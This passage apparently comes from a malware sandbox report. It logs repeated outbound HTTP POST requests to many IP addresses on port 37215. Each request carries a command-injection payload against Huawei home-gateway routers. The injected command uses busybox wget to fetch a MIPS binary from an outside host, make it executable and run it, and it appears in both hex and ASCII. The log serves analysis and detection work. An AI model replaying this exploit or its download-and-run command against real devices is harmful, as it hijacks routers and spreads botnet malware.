61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:59.279565096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	37214	156.253.41.93	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:27.227268934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:28.883769035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:30.867580891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:34.962909937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:42.897877932 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:58.767592907 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	43114	41.74.128.150	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:30.854563951 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	43810	156.241.9.42	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:30.854621887 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 